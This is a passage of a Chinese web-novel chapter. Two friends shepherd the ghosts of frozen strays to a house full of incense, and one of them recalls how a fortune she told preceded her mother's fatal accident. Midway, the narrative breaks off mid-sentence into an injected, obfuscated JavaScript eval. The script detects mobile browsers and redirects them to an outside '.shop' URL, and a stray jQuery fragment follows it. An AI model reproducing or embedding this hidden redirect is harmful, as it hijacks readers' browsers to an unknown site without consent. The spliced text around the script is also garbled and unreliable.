金禾兴致冲冲赶来,为此还背上了自己最爱的一个包,却没想到鲸鱼泪关门了,而那个大骗子蹲在不远处的雪地里不知道在做什么。
“姜白元!”金禾怒气跑过去,“骗子!你骗我?”
姜白元被这一嗓子嗷地耳朵生疼,围在旁边的狗狗魂都被声音吓得钻进了雪里。
她喊着,就一把抓住姜白元的后领,使一下劲把她拉起来,咬着牙,“我不会再信你了,小骗子!”
金禾比她高一点,动作像拎小鸡崽一样把她提起来。
羽绒服后领被拉开,冷风一贯,从上吹到下。
“没有。”姜白元忍不住打了个冷颤,她脸被冻地通红,把脖子缩进衣领里,抬眸无辜看她,“真的有小奶狗。”
金禾蹙眉:“哪呢?”
姜白元朝雪堆的方向抬了抬下巴,那有几只狗狗魂露出头来,怯生生地看着姜白元两人。
可惜金禾看不到。
姜白元:“被冻死的流浪狗,就在那,有看到?”
金禾盯着她看了好一会儿,微微眯眼,似乎在确认她有没有在撒谎,片刻后松开她,有些恼,“姜白元,你以为你是谁,雷锋转世?死了的你管什么,看看你冻成什么样了?”
她说着,脱下自己的围巾,给姜白元戴上,边带边抱怨,“就姐姐我肯陪你闹了,哪个蠢蛋顶着大冷天还不回家的,你多大了?”
“是,还好有金小禾同学在。”姜白元乖乖站在原地给她弄,垂眸看着她的动作,嘴角弯了下,想到什么,“可是我说了有小奶狗你才来的。”
动作忽地停住,空气滞停一秒。
金禾眼皮跳动,围巾交叉猛地一拉,狞笑,“我勒死你个没良心的——”
。
狗狗魂猫猫魂好像只敢靠近姜白元,所以把它们弄到金禾家很不容易,毕竟只有姜白元能看到。
这才下雪没几天,街上的流浪猫流浪狗找不到能栖息的地方,很多店面因为店里防风驱寒,门都是关上怕暖气跑,它们也没机会能到店里避避寒。
因此好多都被冻死在了冷天里。
利用它们会亲近她而害怕别人的点,一个在前面引,一个在后面赶。
辛辛苦苦一个小时,终于都一只不落带回金禾家里。
就是看起来有点蠢,偶尔几个晚下班的路人见到两人这样,像是隔了一段跳大神,都害怕地绕着走。
有热心肠的,还上来问两人需不需要帮忙打电话,生怕是谁夜里走丢的智力残缺人。
金禾对此脸都要笑僵了,说她们是在饭后运动消食。
以后好多天午夜梦回时想到这些事,她恨不得当场剜了自己的脸以示体面。
终于回到家里,金禾边把木门栓好,边问:“都进来了吧,你数数,还少的话我不会陪你去找了。”
金禾家只剩她一人,妈妈走后给她留了个大房子带院落,毕竟祖辈都在干这个事,周围还是有点名气的,哪怕夜里也香火不断供奉着神佛。
很醇厚的草木香,飘在冷夜里,闻起来却暖暖的,让人忍不住舒心通畅。
姜白元看了一圈,点点头,“齐了,都在院子里。”
这些猫狗魂似乎很喜欢这里,进了院子以后就趴在地上滚来滚去,身体也没之前那么轻那么透明了。
果然像姜白元想得那样,等明天天光一亮,找不到任何避难所也找不到地府路的它们只能消失在雪水里。
金禾跟她进屋,暖气还在,房间里就开了盏暖黄的台灯。毛毯和枕头都被摆到地上,满地的书随便乱放,狼藉不堪。
姜白元习惯进来就帮她收拾房间,换了双干爽的袜子就坐到地板上慢慢地整理。
拿起一本翻页乱堆的书,封面有些破旧,全是些生涩难懂的字,姜白元动作微顿,合上看书名——《道门科范大全集》
她抬眼看去其他书,都跟道教法事一类的有关。
金禾端着热牛奶回来了,还弄了盘小曲奇,瞥了一眼她手上的书,将东西放到桌子上,“来嘛,看什么。”
“没。”姜白元将书摞好放到一边才去洗手,随口问,“你怎么开始看这些了?”
金禾哼哼两声,咬了口饼干窝在枕头里,语气懒散,“好歹是祖辈传下来东西,不能到我这就断了,我这样下去,他们指不定都在下面谴责我呢。”
姜白元想想很对。
金禾看了她一眼,“你去换睡衣吧,也不早了,明天起来不还要上班。”
“再等等吧。”姜白元挤到她旁边也一起窝着。
金禾看出她的心思,“为什么不想回家,按理送完这些东西,没别的事了你就不可能还待在这里。”
姜白元没吭声。
金禾:“是那个鬼新郎?不是说开了么,他不答应离开你?”
“也不是。”姜白元垂眸看着毛毯上的花纹,低声说:“说是说了,但他好像不开心,总之......待在家里一直被只鬼盯着,我很难得睡下去。”
从那天跟秦还说了之后,他就很少跟她说话了,也不忘跟着她,只是没再进过房间,要么不知道藏哪跟着,要么隔了五米远站着。
姜白元倒是觉得没什么,这样的距离她也很开心。
只是一直在担心是不是自己话说太重了。
“要么就搬来我这住,我到时候多给你画些辟邪的符。”
说到这个,姜白元坐起来幽怨地看着她,“你还好意思提?”
“我干嘛了?”金禾一脸疑惑。
“我去出差那次。”姜白元咬着牙,“你画那么显眼的字,结果一点效果都没有,我还丢人了。”
金禾挠了挠脸颊,嘟囔,“怎么可能没用,我想着乱七八糟的符你又看不懂,到时候你害怕怎么办?”
姜白元:“......”
比起看不看得懂,有没有用更让人害怕吧?
“所以你去那地方有收获了?”金禾赶紧转开话题。
“嗯。”姜白元被那么一打岔,忘记说什么又坐回去了,靠着金禾的肩,“送去检验指纹的结果应该快出来了,这个案子不会这么快查完。”
她说的这里,忍不住去揉眼睛,声音有些沉闷,鼻音很重,“我困了,想睡觉。”
金禾想到一件事:“你不回去的话,那鬼不会来找你吧?”
毕竟上一次就能跟着姜白元进她这全是神佛能驱邪祟的地方。
“你怕什么。”
“我当然怕了,你难道不怕鬼?”
“我怕啊。”姜白元已经快睡着了,语气逐渐没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17713588|207220||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
力气,“可你不是跳大神的吗......”
金禾侧头看她:“我半吊子的你不知道?”
姜白元迷糊间笑了一声,说话轻的随时都会断掉,“才不是......我只信你的符。”
“加油啊,金小禾同学......”
她说完这句话,头轻轻一歪,睡着了。
金禾也没再说话,抿了抿唇,看着那摞被姜白元整理好的书,心里说不出是什么感觉。
她其实从小到大最讨厌那些神神叨叨的东西。
记事起家里就一直是这样:
被逼着认不完的神佛像,永远烧不完的蜡烛灯,久经不散的支香味。
以至于她的衣服上、头上、书包里全都是这个味。
班上的同学都说她家是跳大神搞骗人的,每次被议论着憋着闷气回家,妈妈也从不过问她出了什么事,只是带着一堆叮叮当当的东西又出了门去给人做法事。
她的童年,被贴满了各种难听的标签,以至于让她变得越来越不听话,越来越叛道离径,想要跳脱这个标签。
高中的时候班上流行起什么笔仙的游戏,金禾觉得这种游戏就是在装神弄鬼,一点都让人提不起兴趣,可某个同学突然提起她,说她家就是做这种事的,问金禾能不能帮他们算一卦。
金禾起初不愿意,奈何受不住他们的软磨硬泡,于是就用着之前看妈妈给人算的方法给他们算了一卦。
本来只是一件说着玩的事,金禾无论卦象好坏都说了。
其中有个男孩,算到他会疯掉,结果当天回去男孩不知道看到什么,突然晕倒醒来就疯了。
他家的父母上门着金禾妈妈要说法,说是金禾装神弄鬼把他儿子弄傻了,要给赔偿不然就告他们。
金禾妈妈没说什么,赔了五十多万的治疗费用。
她没指责金禾,只是让她跪在法事屋里,好好跪拜认错。
她说:“那孩子脑子本来就有缺陷,小时候还做过一次手术,摔的那一跤正好磕到了缺陷的位置,脑出血才这样的。”
“他家里人不是不知道这个原因,但是祸从口出这个理由,给了他们一个能将过错转移并发泄的好机会。”
“人不能左右自己的命运,所以大家不会因为你年纪小就会放过你,相反的,你告诉了他他的劫,干涉了他的命,受了灾你就会跟他一起承受,这就是因果。”
金禾那时候只觉得不服气,明明不是自己的错,明明是他命就该如此,关她什么事。
她不信自己真的能算这么准,本来就是随口说着玩的,她如果是乱算的话,那妈妈说的话就不对。
因为她没算准,那她就是没干涉过谁的命,谁出事了也跟她毫无关系。
于是为了证明自己没错,她去算了妈妈的卦。
结果说她会出车祸,金禾打算等妈妈回来告诉她,证明自己是乱算的,她都没出事,自己没有错。
就是那一天,金禾等到了凌晨,等来了一个电话。
妈妈回来的路上出了车祸,抢救不及走了。
金禾恨死这些东西了。
但现在又拿起了这些她痛恨的东西。
不是想干涉谁的命数,只是又算出一个最爱的人即将离去,她不能再重蹈覆辙一次。